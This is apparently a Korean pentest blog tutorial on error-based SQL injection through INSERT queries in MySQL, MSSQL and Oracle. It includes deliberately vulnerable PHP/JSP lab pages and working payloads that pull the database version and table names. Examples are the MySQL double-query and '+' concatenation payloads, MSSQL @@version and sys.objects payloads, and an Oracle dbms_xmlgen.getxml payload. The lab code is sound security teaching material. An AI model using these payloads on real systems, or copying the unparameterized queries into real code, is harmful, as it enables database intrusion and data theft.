Self-Improvement

INSERT Error SQLi(MySQL, MSSQL, Oracle) 본문

SQLi

INSERT Error SQLi(MySQL, MSSQL, Oracle)

JoGeun 2020. 4. 20. 17:33

INSERT, UPDATE, DELETE 구문에서는 UNION SQLi 기법은 사용이 불가능하지만 Error SQLi는 가능하다.

하지만 위 3가지를 SQLi할때는 중요한 사항들이 존재한다.

 

INSERT INTO table_name() VALUE ()

Insert 구문에서는 로깅 파라미터인 로그를 추가하는 부분에서 취약점이 많이 발생하지만 SQLi 공격 구문을 잘못 할 시 비정상적인 로그가 추가된다는 점과 게시글 글이 계속 등록된다는 문제점이 있다.

 

MySQL 소스코드 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
 
if (!$link = mysql_connect('localhost''root''root')) {
    echo 'Could not connect to mysql';
    exit;
}
 
if (!mysql_select_db('test'$link)) {
    echo 'Could not select database';
    exit;
}
 
$queryCheck="select 1 from users";
$result = mysql_query($queryCheck$link);
 
if($result == FALSE){
    $createQuery="CREATE TABLE USERS (" .
                 "idx int(11) AUTO_INCREMENT PRIMARY KEY," .
                 "ID varchar(12) NOT NULL," .
                 "NAME varchar(25) NOT NULL," .
                 "LEVEL int(2) NOT NULL);";
    $result = mysql_query($createQuery$link);
}
 
echo "MySQL : Blind SQL Injection in INSERT Query<br><br>\n";
echo "<hr>\n";
echo "<form action='" . $_SERVER['PHP_SELF'] . "' method='post'>\n";
echo "USER ID : <input type='text' length='3' name='id'>&nbsp;";
echo "USER NAME : <input type='text' length='3' name='name'>&nbsp;";
echo "<input type='submit' value='ADD'>\n";
echo "</form>\n";
echo "<hr>\n<br>\n<br>\n";
 
$_id = '';
$_name = '';
if (isset($_POST['id'])) $_id = $_POST['id'];
if (isset($_POST['name'])) $_name = $_POST['name'];
 
$sql = "insert into USERS (id,name) select '$_id','$_name' from dual where (select count(*) from USERS Where id='$_id')=0";
 
if ($_id!=''$result = mysql_query($sql$link);
 
if (!$result) {
    echo "DB Error, could not query the database\n";
    echo 'MySQL Error: ' . mysql_error();
    exit;
}
 
echo 'Record Inserted : ' . mysql_affected_rows();
 
$sql = "select * from USERS";
$result = mysql_query($sql$link);
 
print "<table border=1 cellpadding=5 cellspacing=0>\n";
print "\t<tr>\n\t\t<td width='50'>num</td><td width='120'>id</td><td width='240'>name</td>\n\t</tr>\n";
 
while ($row = mysql_fetch_assoc($result)) {
        print "\t<tr>\n\t\t<td>" . $row['idx'] . "</td><td>" . $row['ID'] . "</td><td>" . $row['NAME'] . "</td>\n\t</tr>\n";
}
print "</table>\n";
 
mysql_free_result($result);
?>
cs

 

페이지에 접속을 해본다.

- http://192.168.1.46/user_insert.php

INSERT 구문으로 되어있으며 USERID의 중복을 체크하며 POST 메소드를 통해 USERID, USERNAME을 추가하게 된다.

 

BurpSuite로 전송되는 패킷을 잡아본다.

 

파라라미터는 id, name으로 전송되며 각 파라미터에 싱글쿼터를 주입해보면 DB Error가 발생하는 것을 알 수 있으며 기존과 다른 INSERT 구문이며 서브쿼리가 가능해야만 SQLi가 가능해진다.

 

소스코드를 안본 상태에서 추측으론 해당 파라미터는 INSERT INTO () VALUE()에서 VALUE에 주입하게 되어질 것이다.

그러면 기존의 MySQL의 Duble Query 방식으로도 SQLi가 가능하다.

(select(select count(*) from(select count(*), concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b)

위에는 싱글쿼터가 존재하지 않았음으로 가능하였지만 실제 소스 코드에서는 싱글쿼터가 존재하고 있다.

여기에서는 싱글쿼터를 처리해줌과 동시에 서브쿼리를 수행해야 한다.

 

하나의 예시를 들어보면 MySQL에서는 "+"을 사칙연산으로 보고 있으며 아래와 같이 수행하면 숫자형으로 결과가 나온다.

문자열 사이에 싱글쿼터와 "+" 연산자를 추가하면 위에 처럼 서브쿼리 실행이 가능해진다.

이 방법을 이용하여 싱글쿼터와 "+" 연산자를 이용하여 Double Query 방식으로 SQLi을 수행하면 된다.

HTTP 프로토콜에선 +을 인코딩 함으로 %2b로 수행하면 된다.

'+(select count(*) from(select count(*), concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b)+'

이어서 [테이블 정보], [칼럼 정보], [데이터 추출]을 수행하면 된다.

'+(select a from(select count(*), concat((select table_name from information_schema.tables where table_type='base table' limit 1 offset 0), floor(rand(0)*2))a from information_schema.tables group by a)b)+'

 

MSSQL 소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<html>
<title>Pentest Example</title>
<body>
MSSQL 2017 : SQL Injection in INSERT Query
<br><br>
<hr>
<form action='/mssql_user_insert.php' method='post'>
USER ID : <input type='text' length='3' name='id'>&nbsp;USER NAME : <input type='text' length='3' name='name'>&nbsp;<input type='submit' value='ADD'>
</form>
<hr>
<br>
<br>
<?php
if (!$link = mssql_connect('mssql''sa''pentest1!')) {
    echo 'Could not connect to mssql';
    exit;
}
 
if (!mssql_select_db('northwind'$link)) {
    echo 'Could not select database';
    exit;
}
 
$sql ="IF NOT EXISTS(select * from sysobjects where name='users' and xtype=0x55)" .
        "CREATE TABLE users" .
        "(idx int identity(1,1) PRIMARY KEY," .
        "id   varchar(10)," .
        "name varchar(25)," .
        "lvl  int)";
$result = mssql_query($sql$link);
 
if (!$result) {
    echo "DB Error, could not query the database\n";
    echo 'MSSQL Error: ' . mssql_error();
    exit;
}
 
$_id = '';
$_name = '';
if (isset($_POST['id'])) $_id = $_POST['id'];
if (isset($_POST['name'])) $_name = $_POST['name'];
 
$sql="INSERT INTO users (id,name,lvl) values ('$_id','$_name',9)";
 
if ($_id!=''$result = mssql_query($sql$link);
 
$sql ="select * from users";
$result = mssql_query($sql$link);
 
if (!$result) {
    echo "DB Error, could not query the database\n";
    echo 'MSSQL Error: ' . mssql_error();
    exit;
}
 
print "<table border='1' cellpadding='5' cellspacing='0'>";
print "<tr><td width='50'>NUM</td><td width='120'>ID</td><td width='240'>Name</td></tr>";
 
while ($row = mssql_fetch_assoc($result)) {
    print "<tr><td>" . $row["idx"] . "</td><td>" . $row["id"] . "</td><td>"  . $row["name"] . "</td></tr>";
}
print "</table>\n";
 
mssql_close($link);
?>
</html>
cs

 

MSSQL도 동일한 방식으로 사용이 가능하다.

"+" 연산자가 문자열을 연결해주는 역할도 해주지만 서브쿼리 실행도 이루어진다.

 

소스코드를 보면 VALUE 절에 존재하며 싱글쿼터와 "+"을 이용하여 간단하게 Error SQLi가 가능해진다.

버전을 출력해본다. "/1"을 입력함으로써 오류를 유발하면된다.

'+(select @@version/1)+'

 

[테이블 정보]를 출력해주며 마무리한다.

(MSSQL의 Error SQLi할시엔 무조건 참으로 나오며 에러를 유발할 수 있게 앞에 select ~~~ where 1=(SQLi문)을 해준다.

'+(select name from sys.objects where 1=(select name from (select row_number() over(order by name desc)as rowid, name from sys.objects where type=0x55)T where rowid=1))+'

 

 

Oracle 소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<%@ page contentType="text/html; charset=euc-kr" %>
<%@ include file="dbcon.jsp" %>
<%@ page import="java.util.*,java.text.*"%>
 
<html>
<head>
<title>test</title>
</head>
<body>
Oracle 11g : SQL Injection in INSERT Query
<br><br>
<hr>
<form action='/user_insert.jsp' method='post'>
USER ID : <input type='text' length='3' name='id'>&nbsp;USER NAME : <input type='text' length='3' name='name'>&nbsp;<input type='submit' value='ADD'>
</form>
<hr>
<br>
<br>
<table border=1 cellpadding=5 cellspacing=0>
    <tr>
        <td width='50'>NUM</td>
        <td width='120'>ID</td>
        <td width='240'>NAME</td>
    <tr>
 <%
   try{
       sql = "select 1 from users";
       stmt = con.createStatement();
       stmt.executeQuery(sql);
   } catch(Exception e){
       sql = "CREATE TABLE users"
           + "(idx  number(5),"
       + " id   varchar(10),"
       + " name varchar(25),"
       + " lvl  number(2))";
     stmt = con.createStatement();
     stmt.executeQuery(sql);
   }
   String _id = request.getParameter("id");
   String _name = request.getParameter("name");
   if (_id != null && _name != null) {
       sql = "INSERT INTO users (idx,id,name) values ((select count(*) from users),'" + _id + "','" + _name + "')";
       stmt = con.createStatement();
       stmt.executeQuery(sql);
   }
   sql = "select * from users";
   stmt = con.createStatement();
   rs=stmt.executeQuery(sql);
   while(rs.next()) {
    String idx = rs.getString("idx");
    String id = rs.getString("id");
    String name  = rs.getString("name");
%>
    <tr>
        <td><%=idx%></td>
        <td><%=id%></td>
        <td><%=name%></td>
    </td>
<%
   }
   if(rs != null) rs.close();
   if(stmt != null)stmt.close();
   if(con != null)con.close();
 %>
</table>
</body>
 
</html>
cs

 

페이지에 접속해보면 이때까지 봐왔던 형식과 비슷하다는 것을 알 수있으며 POST 메소드로 해당 파라미터값이 전송이 이루어 진다.

- http://192.168.1.46:8080/user_insert.jsp

 

Oracle 에서의 "+" 연산자는 오직 산술형으로만 인식이 되어지고 있음으로 문자형을 이어줄려고 할 때는 "||"을 사용해준다.

 

"||"을 이용하여 버전을 출력해준다.

그냥 형식인 select banner from v$version where rownum=1을 사용하면 오류가 발생하지 않음으로 Error SQLi인 DBMS_XMLGEN.GETXML을 사용한다

'||to_char(dbms_xmlgen.getxml('select "' || substr((select banner from v$version where rownum=1),1,30)||'" from dual'))||'